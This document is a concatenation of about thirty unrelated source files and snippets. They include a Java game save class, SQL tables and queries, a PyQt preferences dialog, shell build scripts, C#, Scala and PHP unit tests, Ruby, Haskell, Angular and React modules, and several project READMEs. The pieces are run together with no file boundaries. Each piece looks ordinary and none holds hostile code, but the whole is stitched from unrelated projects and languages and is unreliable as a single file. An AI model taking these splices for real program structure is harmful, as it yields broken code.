package net.keabotstudios.dr2.game.save; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileOutputStream; import java.nio.file.Files; import java.util.Random; import net.keabotstudios.superserial.containers.SSDatabase; import net.keabotstudios.superserial.containers.SSField; import net.keabotstudios.superserial.containers.SSObject; import net.keabotstudios.superserial.containers.SSString; public class PlayerInfo extends Saveable { // TODO STATS! (Kills, Total damage taken, points won, games won, KDR, etc.) private static final int MAX_PLAYER_IDS = Integer.MAX_VALUE; private int playerID; private String playerName; public PlayerInfo() { playerID = getRandomPlayerID(); playerName = "Player" + playerID; } public boolean write() { SSDatabase playerInfo = new SSDatabase(getFileName()); SSObject root = new SSObject("root"); root.addField(SSField.Integer("playerID", playerID)); root.addString(new SSString("playerName", playerName)); playerInfo.addObject(root); getFile().getParentFile().mkdirs(); try { byte[] data = new byte[playerInfo.getSize()]; playerInfo.writeBytes(data, 0); BufferedOutputStream stream = new BufferedOutputStream(new FileOutputStream(getFilePath())); stream.write(data); stream.close(); System.out.println("Wrote " + getFileName() + " successfully to: " + getFilePath()); return true; } catch (Exception e) { System.err.println("Can't write " + getFileName() + ".ssd file to: " + getFilePath()); return false; } } public boolean read() { File file = getFile(); try { byte[] data = Files.readAllBytes(file.toPath()); SSDatabase playerInfo = SSDatabase.Deserialize(data); SSObject root = playerInfo.getObject("root"); playerID = root.getField("playerID").getInteger(); playerName = root.getString("playerName").getString(); System.out.println("Loaded " + getFileName() + " successfully from: " + getFilePath()); return true; } catch (Exception e) { System.err.println("Can't read " + getFileName() + ".ssd file from: " + getFilePath() + ", rewriting file."); write(); read(); return false; } } public String getFileName() { return "playerInfo"; } public int getPlayerID() { return playerID; } public String getPlayerName() { return playerName; } public static int getRandomPlayerID() { return new Random().nextInt(MAX_PLAYER_IDS); } }
CREATE TABLE customers ( id INTEGER PRIMARY KEY, name TEXT NOT NULL, notification_label TEXT NOT NULL UNIQUE ); CREATE TABLE notifications ( id INTEGER PRIMARY KEY AUTOINCREMENT, body TEXT NOT NULL, id_customer INTEGER, FOREIGN KEY (id_customer) REFERENCES customers(id) ); CREATE TABLE notification_counters ( id_customer INTEGER NOT NULL, num INTEGER NOT NULL DEFAULT 0, day DATE NOT NULL, PRIMARY KEY (id_customer, day), FOREIGN KEY (id_customer) REFERENCES customers(id) ); INSERT INTO customers VALUES (1, 'Yvonne Nash', 'Los Angeles'), (2, 'Justin Wright', 'Jeddah'), (3, 'Thomas Hamilton', 'Bangkok'), (4, 'Lily Lee', 'Casablanca'), (5, 'Angela Davies', 'Addis Ababa'), (6, 'Dan Skinner', 'Lahore'), (7, 'Dylan Butler', 'Kinshasa'), (8, 'Carl Reid', 'Dhaka'), (9, 'Jasmine Rampling', 'Karachi'), (10, 'Amelia Ross', 'Abidjan') ;
from PyQt5.QtWidgets import QLabel, QVBoxLayout, QApplication, QDoubleSpinBox, QCheckBox from PyQt5.QtCore import Qt from app import dark_theme from app.extensions.custom_gui import ComboBox, PropertyBox, PropertyCheckBox, Dialog from app.editor.settings import MainSettingsController from app.editor import timer name_to_button = {'L-click': Qt.LeftButton, 'R-click': Qt.RightButton} button_to_name = {v: k for k, v in name_to_button.items()} key_to_button = {'Tab': Qt.Key_Tab, 'Enter': Qt.Key_Return} button_to_key = {v: k for k, v in key_to_button.items()} class PreferencesDialog(Dialog): theme_options = ['Light', 'Dark', 'Discord', 'Sidereal', 'Mist'] def __init__(self, parent): super().__init__(parent) self.window = parent self.layout = QVBoxLayout() self.setLayout(self.layout) self.settings = MainSettingsController() self.saved_preferences = {} self.saved_preferences['select_button'] = self.settings.get_select_button(Qt.LeftButton) self.saved_preferences['place_button'] = self.settings.get_place_button(Qt.RightButton) self.saved_preferences['theme'] = self.settings.get_theme(0) self.saved_preferences['event_autocomplete'] = self.settings.get_event_autocomplete(1) self.saved_preferences['autocomplete_button'] = self.settings.get_autocomplete_button(Qt.Key_Tab) self.saved_preferences['autosave_time'] = self.settings.get_autosave_time() self.available_options = name_to_button.keys() self.autocomplete_options = key_to_button.keys() label = QLabel("Modify mouse preferences for Unit and Tile Painter Menus") self.select = PropertyBox('Select', ComboBox, self) for option in self.available_options: self.select.edit.addItem(option) self.place = PropertyBox('Place', ComboBox, self) for option in self.available_options: self.place.edit.addItem(option) self.select.edit.setValue(button_to_name[self.saved_preferences['select_button']]) self.place.edit.setValue(button_to_name[self.saved_preferences['place_button']]) self.select.edit.currentIndexChanged.connect(self.select_changed) self.place.edit.currentIndexChanged.connect(self.place_changed) self.theme = PropertyBox('Theme', ComboBox, self) for option in self.theme_options: self.theme.edit.addItem(option) self.theme.edit.setValue(self.theme_options[self.saved_preferences['theme']]) self.theme.edit.currentIndexChanged.connect(self.theme_changed) self.autocomplete = PropertyCheckBox('Event Autocomplete', QCheckBox, self) self.autocomplete.edit.setChecked(bool(self.saved_preferences['event_autocomplete'])) self.autocomplete_button = PropertyBox('Autocomplete Button', ComboBox, self) for option in self.autocomplete_options: self.autocomplete_button.edit.addItem(option) self.autocomplete_button.edit.setValue(button_to_key[self.saved_preferences['autocomplete_button']]) self.autocomplete_button.edit.currentIndexChanged.connect(self.autocomplete_button_changed) self.autosave = PropertyBox('Autosave Time (minutes)', QDoubleSpinBox, self) self.autosave.edit.setRange(0.5, 99) self.autosave.edit.setValue(self.saved_preferences['autosave_time']) self.autosave.edit.valueChanged.connect(self.autosave_time_changed) self.layout.addWidget(label) self.layout.addWidget(self.select) self.layout.addWidget(self.place) self.layout.addWidget(self.theme) self.layout.addWidget(self.autocomplete_button) self.layout.addWidget(self.autocomplete) self.layout.addWidget(self.autosave) self.layout.addWidget(self.buttonbox) def select_changed(self, idx): choice = self.select.edit.currentText() if choice == 'L-click': self.place.edit.setValue('R-click') else: self.place.edit.setValue('L-click') def place_changed(self, idx): choice = self.place.edit.currentText() if choice == 'L-click': self.select.edit.setValue('R-click') else: self.select.edit.setValue('L-click') def autocomplete_button_changed(self, idx): choice = self.autocomplete_button.edit.currentText() if choice == 'Tab': self.autocomplete_button.edit.setValue('Tab') else: self.autocomplete_button.edit.setValue('Return') def theme_changed(self, idx): choice = self.theme.edit.currentText() ap = QApplication.instance() dark_theme.set(ap, idx) self.window.set_icons(idx) # Change icons of main editor def autosave_time_changed(self, val): t = timer.get_timer() t.autosave_timer.stop() t.autosave_timer.setInterval(val * 60 * 1000) t.autosave_timer.start() def accept(self): self.settings.set_select_button(name_to_button[self.select.edit.currentText()]) self.settings.set_place_button(name_to_button[self.place.edit.currentText()]) self.settings.set_autocomplete_button(key_to_button[self.autocomplete_button.edit.currentText()]) self.settings.set_theme(self.theme.edit.currentIndex()) # For some reason Qt doesn't save booleans correctly # resorting to int autocomplete = 1 if self.autocomplete.edit.isChecked() else 0 self.settings.set_event_autocomplete(autocomplete) autosave = float(self.autosave.edit.value()) self.settings.set_autosave_time(autosave) super().accept() def reject(self): super().reject()
#!/bin/sh label=$1 if [ -z $label ]; then label=latest fi image=$(node -p "require('./package.json').name") function run_on_container { echo "run_on_container: $*" docker run -u 1000 -it --rm -v $(pwd):/app -v $HOME/.npmrc:/home/node/.npmrc -w /app node:12-alpine $* } rm -rf dist && \ run_on_container env && \ run_on_container npm run orz && \ run_on_container npx tsc && \ run_on_container rm -rf /app/node_modules && \ run_on_container npm run orz --production && \ docker build -t $image:$label .
using System.IO; using System.Linq; using Moq; using Neo.Gui.Base.Controllers; using Neo.Gui.Base.Helpers.Interfaces; using Neo.Gui.Base.Managers; using Neo.Gui.Base.Messages; using Neo.Gui.Base.Messaging.Interfaces; using Neo.Gui.ViewModels.Home; using Neo.Gui.ViewModels.Tests.Builders; using Xunit; namespace Neo.Gui.ViewModels.Tests.Home { public class AssetsViewModelTests : TestBase { [Fact] public void Ctr_CreateValidAssetsViewModel() { // Arrange // Act var viewModel = this.AutoMockContainer.Create<AssetsViewModel>(); //Assert Assert.IsType<AssetsViewModel>(viewModel); Assert.NotNull(viewModel.Assets); } [Fact] public void Load_SubscribeMessages_SubscribeMethodCalledWithRightParameter() { // Arrange var messageSubscriberMock = this.AutoMockContainer.GetMock<IMessageSubscriber>(); var viewModel = this.AutoMockContainer.Create<AssetsViewModel>(); // Act viewModel.OnLoad(); // Assert messageSubscriberMock.Verify(x => x.Subscribe(viewModel)); Assert.Empty(viewModel.Assets); } [Fact] public void Unload_UnsubscibeMessages_UnsubscribeMethodCalledWithRightParameter() { // Arrange var messageSubscriberMock = this.AutoMockContainer.GetMock<IMessageSubscriber>(); var viewModel = this.AutoMockContainer.Create<AssetsViewModel>(); // Act viewModel.OnUnload(); // Assert messageSubscriberMock.Verify(x => x.Unsubscribe(viewModel)); } [Fact] public void AssetAddedMessageReceived_AssetAdded() { // Arrange var expectedAssetItem = new AssetItemBuilder().Build(); var viewModel = this.AutoMockContainer.Create<AssetsViewModel>(); var assetAddedMessageHandler = viewModel as IMessageHandler<AssetAddedMessage>; // Act assetAddedMessageHandler.HandleMessage(new AssetAddedMessage(expectedAssetItem)); // Assert Assert.True(viewModel.Assets.Count == 1); Assert.Same(expectedAssetItem, viewModel.Assets.Single()); } [Fact] public void ClearAssetsMessageReceived_AssetRemoved() { // Arrange var expectedAssetItem = new AssetItemBuilder().Build(); var viewModel = this.AutoMockContainer.Create<AssetsViewModel>(); var assetAddedMessageHandler = viewModel as IMessageHandler<AssetAddedMessage>; var clearAssetsMessageHandler = viewModel as IMessageHandler<ClearAssetsMessage>; // Act assetAddedMessageHandler.HandleMessage(new AssetAddedMessage(expectedAssetItem)); clearAssetsMessageHandler.HandleMessage(new ClearAssetsMessage()); // Assert Assert.Empty(viewModel.Assets); } [Fact] public void ViewCertificateCommand_ShowCertificate() { // Arrange var expectedAddress = "Address"; var expectedCertificatePath = @"X:\"; var selectedAssetItem = new AssetItemBuilder().Build(); var processHelperMock = this.AutoMockContainer.GetMock<IProcessHelper>(); var walletControllerMock = this.AutoMockContainer.GetMock<IWalletController>(); walletControllerMock .Setup(x => x.ToAddress(It.IsAny<UInt160>())) .Returns(expectedAddress); var settingsManagerMock = this.AutoMockContainer.GetMock<ISettingsManager>(); settingsManagerMock .SetupGet(x => x.CertificateCachePath) .Returns(expectedCertificatePath); var expectedPath = Path.Combine(expectedCertificatePath, $"{expectedAddress}.cer"); var viewModel = this.AutoMockContainer.Create<AssetsViewModel>(); // Act viewModel.SelectedAsset = selectedAssetItem; viewModel.ViewCertificateCommand.Execute(null); // Assert processHelperMock.Verify(x => x.Run(expectedPath)); } } }
Given(/^The project has some stories on Pivotal Tracker$/) do @current ||= File.read('spec/fixtures/pivotal_tracker_project_current_iteration.json') @project ||= File.read('spec/fixtures/pivotal_tracker_project_response.json') stub_request(:get, /www\.pivotaltracker\..+\d+[^\/]*$/). to_return(status: 200, body: @project, headers: {}) stub_request(:get, /www\.pivotaltracker\..+\d+\/iterations[^\/]*$/). to_return(:status => 200, :body => @current, :headers => {}) end Given(/The project has no stories on Pivotal Tracker/) do project = Object.new iteration = Object.new iteration.stub(stories: nil) project.stub(current_iteration: iteration) allow(PivotalAPI::Project).to receive(:retrieve).and_return(project) end
USE `geography`; SELECT c.`country_code`, COUNT(m.`id`) AS `mountain_range` FROM `countries` AS `c` JOIN `mountains_countries` AS `mc` ON c.`country_code` = mc.`country_code` JOIN `mountains` AS `m` ON mc.`mountain_id` = m.`id` WHERE c.`country_code` IN ('BG' , 'RU', 'US') GROUP BY mc.`country_code` ORDER BY `mountain_range` DESC; -- Second option SELECT mc.`country_code`, COUNT(m.`id`) AS `mountain_range` FROM `mountains` AS `m` JOIN `mountains_countries` AS `mc` ON mc.`mountain_id` = m.`id` WHERE mc.`country_code` IN ('BG' , 'RU', 'US') GROUP BY mc.`country_code` ORDER BY `mountain_range` DESC;
# frozen_string_literal: true module Firepush module Recipient TYPES = %i(topic token condition) class Builder # @param args [Hash] # @option args [Hash] :topic # @option args [Hash] :token # @option args [Hash] :condition def self.build(args) new(args).build end # @private # @see .build def initialize(args) @_args = args check_args! end private_class_method :new # @return [Firepush::Recipient::Base] def build case when topic? Topic.new(_args.fetch(:topic)) when token? Token.new(_args.fetch(:token)) when condition? Condition.new(_args.fetch(:condition)) end end private attr_reader :_args # @private # @raise [ArgumentError] def check_args! count = TYPES.reduce(0) do |sum, type| sum += 1 if _args.key?(type) sum end return if count == 1 raise ::ArgumentError.new("Have to set one of :topic, :token, or :condition") end # @private # @return [Boolean] def condition? _args.key?(:condition) end # @private # @return [Boolean] def token? _args.key?(:token) end # @private # @return [Boolean] def topic? _args.key?(:topic) end end end end
import { Component, OnInit } from '@angular/core'; import { Router } from '@angular/router'; import { ResourceOutDashboard } from '../../_models/resourcesOutDashBoard'; import { DashboardService } from '../../_services/dashboard.service'; import { User } from '../../_models/user'; import { StorageService } from '../../_services/storage.service'; import { ResourceInDashboard } from '../../_models/resourceInDashboard'; @Component({ selector: 'ngx-resources', templateUrl: './resources.component.html', styleUrls: ['./resources.component.scss'] }) export class ResourcesComponent implements OnInit { public columnDefsIn; public columnDefsOut; public resourcesOut: Array<ResourceOutDashboard> = new Array; public resourcesIn: Array<ResourceInDashboard> = new Array; private _user: User; private gridApi; private gridColumnApi; gridOptionsIn = { columnDefs: this.columnDefsIn, enableColResize: true, }; gridOptionsOut = { columnDefs: this.columnDefsOut, enableColResize: true, }; defaultColDef = { resizable: true, }; constructor(private router: Router, private dashboardService: DashboardService, private storageService: StorageService) { } ngOnInit() { this._user = this.storageService.getItem('user'); this.getResourcesOut(); this.getResourcesIn(); } onFirstDataRendered(params) { params.api.sizeColumnsToFit(); } onGridReady(params: any) { this.gridApi = params.api; this.gridColumnApi = params.columnApi; params.api.sizeColumnsToFit(); } getResourcesOut() { this.dashboardService.getResourcesOut(this._user.company.id) .subscribe(res => { this.resourcesOut = res; this.resourcesOut.forEach(item => { item.attributeString = item.resourceListing.attributeString; item.resourceOffers.forEach(offer => { offer.offer = offer.offer === '0' ? 'AU $ FREE' : 'AU $ ' + offer.offer; }); }); }); } getResourcesIn() { this.dashboardService.getResourcesIn(this._user.company.id) .subscribe(res => { const resIn = res; //This is to reomve duplicates. this.resourcesIn = Array.from(resIn.reduce((m, t) => m.set(t.resourceListing.id, t), new Map()).values()); this.resourcesIn.forEach(item => { item.attributeString = item.resourceListing.attributeString; item.resourceOffers.forEach(offer => { offer.offer = offer.offer === '0' ? 'AU $ FREE' : 'AU $ ' + offer.offer; }); }); }); } getAttributesString(item: any) { let attrString: string = ''; item.forEach(element => { attrString += element + ', '; }); return attrString.slice(0, -1); } getActiveDuration( date ) { // Get 1 day in milliseconds const one_day = 1000 * 60 * 60 * 24; // Convert both dates to milliseconds const dateNow = new Date; const dateNow_ms = dateNow.getTime(); const date_ms = new Date(date).getTime(); // Calculate the difference in milliseconds const difference_ms = dateNow_ms - date_ms; const dateReturn = Math.round(difference_ms / one_day); // Convert back to days and return return dateReturn === 0 ? 1 : dateReturn; } navigateToAddResource() { this.router.navigate(['dash/addresource']); } navigateToUpdateResource(id: any) { this.router.navigate(['dash/addresource',id]); } navigateToListing(id: any) { this.router.navigate(['marketplace/resource', id ]); } }
{-# LANGUAGE TypeOperators #-} {-# OPTIONS_GHC -fno-warn-orphans #-} -- | Miscellaneous instances, etc. Related to the main blockchain of course. module Pos.Core.Block.Main.Instances ( ) where import Universum import qualified Data.Text.Buildable as Buildable import Formatting (bprint, build, int, stext, (%)) import Serokell.Util (Color (Magenta), colorize, listJson) import Pos.Binary.Class (Bi) import Pos.Core.Block.Blockchain (GenericBlock (..), GenericBlockHeader (..)) import Pos.Core.Block.Main.Lens (mainBlockBlockVersion, mainBlockDifficulty, mainBlockSlot, mainBlockSoftwareVersion, mainHeaderBlockVersion, mainHeaderDifficulty, mainHeaderLeaderKey, mainHeaderSlot, mainHeaderSoftwareVersion, mbTxs, mcdDifficulty, mehBlockVersion, mehSoftwareVersion) import Pos.Core.Block.Main.Types (MainBody (..), MainExtraHeaderData (..)) import Pos.Core.Block.Union.Types (BlockHeader (..), HeaderHash, MainBlock, MainBlockHeader, MainConsensusData (..), blockHeaderHash) import Pos.Core.Class (HasBlockVersion (..), HasDifficulty (..), HasEpochIndex (..), HasEpochOrSlot (..), HasHeaderHash (..), HasSoftwareVersion (..), IsHeader, IsMainHeader (..)) import Pos.Core.Slotting (EpochOrSlot (..), slotIdF) import Pos.Crypto (hashHexF) instance NFData MainBlock instance Bi BlockHeader => Buildable MainBlockHeader where build gbh@UnsafeGenericBlockHeader {..} = bprint ("MainBlockHeader:\n"% " hash: "%hashHexF%"\n"% " previous block: "%hashHexF%"\n"% " slot: "%slotIdF%"\n"% " difficulty: "%int%"\n"% " leader: "%build%"\n"% " signature: "%build%"\n"% build ) gbhHeaderHash _gbhPrevBlock _mcdSlot _mcdDifficulty _mcdLeaderKey _mcdSignature _gbhExtra where gbhHeaderHash :: HeaderHash gbhHeaderHash = blockHeaderHash $ BlockHeaderMain gbh MainConsensusData {..} = _gbhConsensus instance (Bi BlockHeader) => Buildable MainBlock where build UnsafeGenericBlock {..} = bprint (stext%":\n"% " "%build% " transactions ("%int%" items): "%listJson%"\n"% " "%build%"\n"% " "%build%"\n"% " update payload: "%build%"\n"% " "%build ) (colorize Magenta "MainBlock") _gbHeader (length txs) txs _mbDlgPayload _mbSscPayload _mbUpdatePayload _gbExtra where MainBody {..} = _gbBody txs = _gbBody ^. mbTxs instance HasEpochIndex MainBlock where epochIndexL = mainBlockSlot . epochIndexL instance HasEpochIndex MainBlockHeader where epochIndexL = mainHeaderSlot . epochIndexL instance HasEpochOrSlot MainBlockHeader where getEpochOrSlot = EpochOrSlot . Right . view mainHeaderSlot instance HasEpochOrSlot MainBlock where getEpochOrSlot = getEpochOrSlot . _gbHeader -- NB. it's not a mistake that these instances require @Bi BlockHeader@ -- instead of @Bi MainBlockHeader@. We compute header's hash by -- converting it to a BlockHeader first. instance Bi BlockHeader => HasHeaderHash MainBlockHeader where headerHash = blockHeaderHash . BlockHeaderMain instance Bi BlockHeader => HasHeaderHash MainBlock where headerHash = blockHeaderHash . BlockHeaderMain . _gbHeader instance HasDifficulty MainConsensusData where difficultyL = mcdDifficulty instance HasDifficulty MainBlockHeader where difficultyL = mainHeaderDifficulty instance HasDifficulty MainBlock where difficultyL = mainBlockDifficulty instance HasBlockVersion MainExtraHeaderData where blockVersionL = mehBlockVersion instance HasSoftwareVersion MainExtraHeaderData where softwareVersionL = mehSoftwareVersion instance HasBlockVersion MainBlock where blockVersionL = mainBlockBlockVersion instance HasSoftwareVersion MainBlock where softwareVersionL = mainBlockSoftwareVersion instance HasBlockVersion MainBlockHeader where blockVersionL = mainHeaderBlockVersion instance HasSoftwareVersion MainBlockHeader where softwareVersionL = mainHeaderSoftwareVersion instance Bi BlockHeader => IsHeader MainBlockHeader instance Bi BlockHeader => IsMainHeader MainBlockHeader where headerSlotL = mainHeaderSlot headerLeaderKeyL = mainHeaderLeaderKey
angular.module('emailParser', []) .config(['$interpolateProvider', function($interpolateProvider) { $interpolateProvider.startSymbol('__'); $interpolateProvider.endSymbol('__'); }]) .factory('EmailParser', ['$interpolate', function($interpolate) { // a service to handle parsing return { parse: function(text, context) { var template = $interpolate(text); return template(context); } }; }]);
var searchData= [ ['quantizedunitvec_2eh',['QuantizedUnitVec.h',['../QuantizedUnitVec_8h.html',1,'']]], ['quat_2eh',['Quat.h',['../Quat_8h.html',1,'']]], ['queue_2eh',['Queue.h',['../Queue_8h.html',1,'']]] ];
<?php function check_input($data) { global $ret_data; $data = trim($data); $ret_data = htmlspecialchars($data); return $ret_data; } function getLocation($data) { $ret_data="Online"; if ($data=="Y") $ret_data = "F2F (Largo, MD)"; return $ret_data; } // Look-up for the Group Letter function getGroupCourses($group) { $value=""; switch ($group) { case 'A': $value="CMIS102"; break; case 'B': $value="CMIS141,CMIS242,CMSC350"; break; case 'C': $value="CMIS125"; break; case 'D': $value="CMIS310,CMIS325"; break; break; case 'E': $value="CMIS170,CMIS320"; break; case 'F': $value="CMSC150"; break; case 'G': $value="IFSM201"; break; } return $value; } ?>
import React from 'react' import { ServiceInputWrapperWithLabel } from './ServiceInputWrapperWithLabel' import { Input } from 'lib/antd' export const ServiceInput = ({ default: defaultValue, type, onChange, propKey, ...props }) => ( <ServiceInputWrapperWithLabel propKey={propKey} {...props}> <Input type={type} value={defaultValue} onChange={onChange} name={propKey} /> </ServiceInputWrapperWithLabel> )
mysql -uroot create database mydb; use mydb; create table personal_greeting (first_name varchar(20) not null primary key, custom_greeting varchar(20)); insert into personal_greeting (first_name,custom_greeting) values('Don','Howdy'); quit
#!/bin/bash if [ $# -ne 2 ]; then echo Usage: $0 docs_path output_dir exit 1 fi dotnet run -p /render/src/Render/D2L.Dev.Docs.Render.csproj --input $1 --output $2
<?php namespace App\Models; use App\Models\AbstractModel; use Illuminate\Database\Eloquent\SoftDeletes; /** * アニメお気に入り用テーブルのモデルクラス */ class MyAnimeList extends AbstractModel { use SoftDeletes; // テーブル名 protected $table = 'my_anime_list'; // 更新を行うカラム protected $fillable = [ 'user_id', // ユーザーID 'anime_id', // アニメjoinAnimesID 'title', // タイトル 'public_url', // 公式サイトURL 'year', // 年 'cours_id', // クールID 'channel', // 放送チャンネル 'onair_start_date', // 放送開始日 'onair_time', // 放送時間 'onair_weekday_num', // 放送曜日 'comment', // コメント 'star_review', // スター評価 ]; /** * アニメテーブルとJoinするスコープメソッド */ public function scopeJoinAnimes( $query ){ return $query->leftJoin( 'animes', 'my_anime_list.anime_id', '=', 'animes.id' ); } /** * 検索条件のスコープ */ public function scopeWhereRequest( $query, $request ){ return $query->whereMatch( 'year', $request->year ) // 年 ->whereMatch( 'cours_id', $request->cours_id ) // クールID ->whereLike( 'title', $request->title ); // タイトル } }
# delta-sigma-py Some models of Delta-Sigma ADC modulators in Python + Matplotlib Implemented: * 1st-Order * 2nd-Order * MASH-1-1 * MASH-2-1 Hitting the reset button will reload the `modulators.py` module, so a small bit of live-coding can happen without having to kill and reload the Matplotlib window. FFTs are 2048 samples. The frequency slider is in cycles-per-FFT window. There's no window on the FFT, so try to select a prime number of cycles per window for the best-looking FFTs. To Do --------------- * Scale internal waveforms better * Plot a zoom-in of the baseband * Calculate the SNR over the baseband * Allow to store a previous FFT, and plot with the latest for easy comparasons
package org.cthul.parser.sequence; /** * * @author Arian Treffer */ public abstract class SequenceBuilderBase<E, S> implements SequenceBuilder<E, S> { }
# Webpack Easy SEO ## Installation `npm install --save-dev webpack-easy-seo` ## Usage ```javascript const HtmlWebpackPlugin = require('html-webpack-plugin'); const EasySeo = require('webpack-easy-seo'); const seoInst = new EasySeo({ // Application Title, which is shown in the tab bar. title: "Your Title", // Application Description, which is shown in search engines and OpenGraph. description: "Your description", // Your public url, which is used to create the correct links to your images. publicUrl: "https://myapp.mydomain.com", // Your thumbnail image, which is used in OpenGraph imagePath: "./picture/logo.png", // Your webpack build folder buildPath: "./build", // Path in your build folder to your image. outputPath: "/assets/images/thumbnail.png" }); module.exports = (mode) => { return { ..., plugins: [ new HtmlWebpackPlugin({ template: "./public/index.html", // Title title: seoInst.getTitle(), // Meta Tags meta: seoInst.getMetaTags(), }), // seoInst as webpack plugin to create the thumbnail file after compilation. seoInst, ], } }; ```
# -*- coding: utf-8 -*- from unittest import TestCase from pyidwm.Config import Config from pyidwm.helper.Store import Store from osgeo import ogr class StoreTest(TestCase): def test_constructor(self): store = Store() self.assertIsInstance(store, Store) def test_get_driver(self): store = Store() driver = store.get_driver() self.assertIsInstance(driver, ogr.Driver) def test_get_data_source(self): store = Store() config = Config() config.geopackage = __file__ + "/../data/idwm.gpkg" data_source = store.get_data_source() self.assertIsInstance(data_source, ogr.DataSource) def test_get_layer(self): store = Store() config = Config() config.geopackage = __file__ + "/../data/idwm.gpkg" layer = store.get_layer("RRCountriesPoly") self.assertIsNotNone(layer) self.assertIsInstance(layer, ogr.Layer)
package com.horizen.block import com.horizen.fixtures.MainchainTxCrosschainOutputFixture import com.horizen.proposition.PublicKey25519Proposition import com.horizen.secret.PrivateKey25519Creator import com.horizen.utils.{BytesUtils, Utils} import org.junit.Assert.{assertEquals, assertTrue} import org.junit.Test import org.scalatestplus.junit.JUnitSuite import scala.util.Random import scala.util.Try class MainchainTxForwardTransferCrosschainOutputTest extends JUnitSuite with MainchainTxCrosschainOutputFixture { @Test def creation(): Unit = { val amount: Long = 100L val proposition: PublicKey25519Proposition = PrivateKey25519Creator.getInstance().generateSecret("test1".getBytes()).publicImage() val sidechainId: Array[Byte] = new Array[Byte](32) Random.nextBytes(sidechainId) val mcReturnAddress: Array[Byte] = new Array[Byte](20) Random.nextBytes(mcReturnAddress) val bytes: Array[Byte] = generateMainchainTxForwardTransferCrosschainOutputBytes(amount, proposition, sidechainId, mcReturnAddress) val hash: String = BytesUtils.toHexString(Utils.doubleSHA256Hash(bytes)) // Test 1: successful creation var output: Try[MainchainTxForwardTransferCrosschainOutput] = MainchainTxForwardTransferCrosschainOutput.create(bytes, 0) assertTrue("Forward Transfer crosschain output expected to be parsed.", output.isSuccess) assertEquals("Output Hash is different.", hash, BytesUtils.toHexString(output.get.hash)) assertEquals("Output amount is different.", amount, output.get.amount) assertEquals("Output proposition bytes are different.", proposition, new PublicKey25519Proposition(output.get.propositionBytes)) assertEquals("Output sidechainId is different.", BytesUtils.toHexString(sidechainId), BytesUtils.toHexString(output.get.sidechainId)) // Test 2: broken bytes: length is too small val brokenBytes = bytes.slice(0, bytes.length - 1) output = MainchainTxForwardTransferCrosschainOutput.create(brokenBytes, 0) assertTrue("Forward Transfer crosschain output expected to be NOT parsed.", output.isFailure) } }
package org.mass.framework.redis.constant; import org.mass.framework.common.utils.PropertiesConfigUtil; import java.util.Properties; /** * Created by Allen on 2016/8/10. */ public class SystemCacheProperties { static Properties properties = PropertiesConfigUtil.getPropertis("systemCache.properties"); public static String getProperty(String key) { return properties.getProperty(key); } }
export IGL_INCLUDE_DIR=../3rd export EIGEN_INCLUDE_DIR=../3rd/eigen3 g++ -std=c++11 extract_labels.cpp -I$IGL_INCLUDE_DIR -I$EIGEN_INCLUDE_DIR -pthread -O3 -o extract_labels
<?php declare(strict_types=1); namespace teewurst\Prs4AdvancedWildcardComposer\tests\Unit\Pipeline; use teewurst\Prs4AdvancedWildcardComposer\Pipeline\Payload; use teewurst\Prs4AdvancedWildcardComposer\Pipeline\Pipeline; use PHPUnit\Framework\TestCase; use teewurst\Prs4AdvancedWildcardComposer\Pipeline\Task\TaskInterface; /** * Class PipelineTest * * @package teewurst\Prs4AdvancedWildcardComposer\tests\Unit\Pipeline * @author Martin Ruf <Martin.Ruf@check24.de> */ class PipelineTest extends TestCase { /** * @test * @return void */ public function checkIfPipelineSimplyReturnPayloadIfEmpty() { $payload = $this->prophesize(Payload::class); $pipeline = new Pipeline(); $return = $pipeline->handle($payload->reveal()); self::assertSame($payload->reveal(), $return); } /** * @test * @return void */ public function checkIfPipelineExecutesHandle() { $payload = $this->prophesize(Payload::class); $pipeline = new Pipeline(); $task = $this->prophesize(TaskInterface::class); $task->__invoke($payload->reveal(), $pipeline) ->shouldBeCalledTimes(2) ->will(function ($args) { return $args[1]->handle($args[0]); }); $pipeline->pipe($task->reveal()); $pipeline->pipe($task->reveal()); $return = $pipeline->handle($payload->reveal()); self::assertSame($payload->reveal(), $return); } }
namespace Stump.DofusProtocol.Types { using System; using System.Linq; using System.Text; using Stump.DofusProtocol.Types; using Stump.Core.IO; [Serializable] public class HumanOptionAlliance : HumanOption { public new const short Id = 425; public override short TypeId { get { return Id; } } public AllianceInformations AllianceInformations { get; set; } public sbyte Aggressable { get; set; } public HumanOptionAlliance(AllianceInformations allianceInformations, sbyte aggressable) { this.AllianceInformations = allianceInformations; this.Aggressable = aggressable; } public HumanOptionAlliance() { } public override void Serialize(IDataWriter writer) { base.Serialize(writer); AllianceInformations.Serialize(writer); writer.WriteSByte(Aggressable); } public override void Deserialize(IDataReader reader) { base.Deserialize(reader); AllianceInformations = new AllianceInformations(); AllianceInformations.Deserialize(reader); Aggressable = reader.ReadSByte(); } } }
ZeroMQ example === The example code is from https://zeromq.org/languages/python/ # Desciption of the scripts The example code is described as below ## worker.py This is the clinet which will give message to some servers. The key is to use "connect" for tasks. ## reciever.py The server which accept all the message. The key is to use the "bind" for tasks.
<?php namespace App\Http\Controllers\Front; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class PagesController extends Controller { public function getHome() { //if(Auth::guest()){ return view('auth.login'); //}else{ // return view('layouts.auth', ['category' => 'James']); //} } }
module CommentsHelper def my_own_comment?(comment_user_id, current_user_id) comment_user_id == current_user_id ? true : false end end
import React, { useState } from 'react'; import styled from 'styled-components'; import { Button } from '../../Common'; const Wrapper = styled.div` display: flex; justify-content: center; margin: 40px 0; `; type BlogThemeSwitchProps = {}; const BlogThemeSwitch = ({ }: BlogThemeSwitchProps) => { return ( <Wrapper> <Button to="https://github.com/robertcoopercode/personal-website">View the source code</Button> </Wrapper> ); }; export default BlogThemeSwitch;
using System; namespace Standard { public delegate IntPtr WndProcHook(IntPtr hwnd, WM uMsg, IntPtr wParam, IntPtr lParam, ref bool handled); }
import isRect from './is-rect'; export default function getMiddlePoint(rect: DOMRect): {middleX: number, middleY: number} { if (!isRect(rect)) { throw new Error('Invalid rect. Rect should includes x, y, width and height props with a number value'); } return { middleX: rect.left + (rect.width / 2), middleY: rect.top + (rect.height / 2), } }
